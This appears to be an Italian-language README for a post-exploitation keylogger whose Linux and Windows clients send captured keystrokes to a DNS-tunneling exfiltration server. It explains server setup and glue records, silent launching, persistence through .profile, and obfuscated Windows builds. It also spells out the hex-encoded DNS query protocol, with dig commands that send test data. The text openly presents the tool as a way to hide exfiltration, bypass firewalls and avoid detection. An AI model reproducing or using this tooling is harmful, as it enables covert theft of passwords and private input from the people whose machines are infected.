
Server e client di keylogging che utilizzano il tunneling/esfiltrazione DNS per trasmettere le sequenze di tasti attraverso i firewall.
Questo keylogger post-exploitation esfiltra in modo nascosto i tasti premuti verso un server.
Questi strumenti eccellono nell'esfiltrazione leggera e nella persistenza, proprietà che impediranno il rilevamento. Utilizza il tunneling/esfiltrazione DNS per bypassare i firewall ed evitare il rilevamento.
Il server utilizza python3.
Per installare le dipendenze, esegui python3 -m pip install -r requirements.txt
Per avviare il server, esegui python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
Per impostazione predefinita, il server ascolta sulla porta UDP 53. Usa il flag -p per specificare una porta diversa.
ip è l'indirizzo IP del server. Viene utilizzato nei record SOA e NS, che consentono ad altri nameserver di trovare il server.
domain è il dominio su cui ascoltare, che dovrebbe essere il dominio per cui il server è autoritativo.
Sul registrar, devi cambiare il namespace del tuo dominio in DNS personalizzato.
Puntali a due domini, ns1.example.com e ns2.example.com.

Aggiungi record che puntano i domini namespace all'indirizzo IP del tuo server di esfiltrazione.

Questa operazione equivale a impostare glue record.
Il keylogger per Linux è composto da due script bash. connection.sh viene utilizzato dallo script logger.sh per inviare i tasti premuti al server. Se desideri inviare manualmente dati, ad esempio un file, puoi inviare i dati tramite pipe allo script connection.sh. Stabilirà automaticamente una connessione e invierà i dati.
logger.shUsage: logger.sh [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-p path: give path to log file to listen to
-l: run the logger with warnings and errors printed
Per avviare il keylogger, esegui il comando ./logger.sh [dominio] && exit. Questo avvierà silenziosamente il keylogger e qualsiasi input digitato verrà inviato. Il && exit alla fine farà sì che la shell si chiuda al momento dell'uscita. Senza di esso, l'uscita ti riporterà alla shell non keyloggata. Rimuovi &> /dev/null per visualizzare i messaggi di errore.
L'opzione -p specificherà la posizione del file di log temporaneo in cui vengono inviati tutti gli input. Per impostazione predefinita, è /tmp/.
L'opzione -l mostrerà avvisi ed errori. Può essere utile per il debug.
logger.sh e connection.sh devono essere nella stessa directory affinché il keylogger funzioni. Se desideri persistenza, puoi aggiungere il comando a .profile per avviarlo ad ogni nuova shell interattiva.
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
Per compilare il programma keylogger, esegui make nella directory windows. Per compilare con dimensioni ridotte e un po' di offuscamento, esegui il target production. Questo creerà la directory build per te e produrrà un file chiamato logger.exe nella directory build. Ho testato la compilazione solo con MinGW su Windows 10. Se provi a usare g++ su una macchina non Windows, probabilmente otterrai errori di compilazione relativi a windows.h.
make production domain=example.com
Puoi anche scegliere di compilare il programma con debug eseguendo il target debug.
make debug domain=example.com
Per entrambi i target, dovrai specificare il dominio su cui il server sta ascoltando.
Puoi usare dig per inviare richieste al server:
dig @127.0.0.1 a.1.1.1.example.com A +short invia una richiesta di connessione a un server su localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short invia un messaggio di prova a localhost.
Sostituisci example.com con il dominio su cui il server sta ascoltando.
Le richieste di record A che iniziano con a indicano l'inizio di una "connessione." Quando il server le riceve, risponderà con un falso indirizzo IP non riservato in cui l'ultimo ottetto contiene l'id del client.
Il formato da seguire per avviare una connessione è: a.1.1.1.[sld].[tld].
Il server risponderà con un indirizzo IP nel formato seguente: 123.123.123.[id]
Le connessioni concorrenti non possono superare 254 e i client non sono mai considerati "disconnessi."
Le richieste di record A che iniziano con b indicano dati esfiltrati inviati al server.
Il formato da seguire per inviare dati dopo aver stabilito una connessione è: b.[# pacchetto].[id].[dati].[sld].[tld].
Il server risponderà con [codice].123.123.123
id è l'id stabilito al momento della connessione. I dati vengono inviati come ASCII codificato in esadecimale.
codice è uno dei codici descritti di seguito.
200: OKSe il client invia una richiesta elaborata normalmente, il server risponderà con il codice 200.
201: Richieste di Record MalformateSe il client invia una richiesta di record malformata, il server risponderà con il codice 201.
202: Connessioni InesistentiSe il client invia un pacchetto dati con un id maggiore del numero di connessioni, il server risponderà con il codice 202.
203: Pacchetti Fuori OrdineSe il client invia un pacchetto con un id di pacchetto che non corrisponde a quanto previsto, il server risponderà con il codice 203. Client e server dovrebbero reimpostare i numeri di pacchetto a 0. Quindi il client può reinviare il pacchetto con il nuovo id di pacchetto.
204 Raggiunto Massimo di ConnessioniSe il client tenta di creare una connessione quando il massimo è stato raggiunto, il server risponderà con il codice 204.
I client dovrebbero fare affidamento sulle risposte come conferme dei pacchetti ricevuti. Se non ricevono una risposta, dovrebbero reinviare lo stesso payload.
Il file di log contenente gli input dell'utente contiene caratteri di controllo ASCII, come backspace, cancella e ritorno a capo. Se stampi il contenuto usando qualcosa come cat, dovresti selezionare l'opzione appropriata per stampare i caratteri di controllo ASCII, come -v per cat, o aprirlo in un editor di testo.
Il keylogger si basa su script, quindi non funzionerà in shell non interattive.
Per qualche motivo, la funzione Windows Dns_Query_A invia sempre richieste duplicate. Il server lo gestirà correttamente perché scarta i pacchetti ripetuti.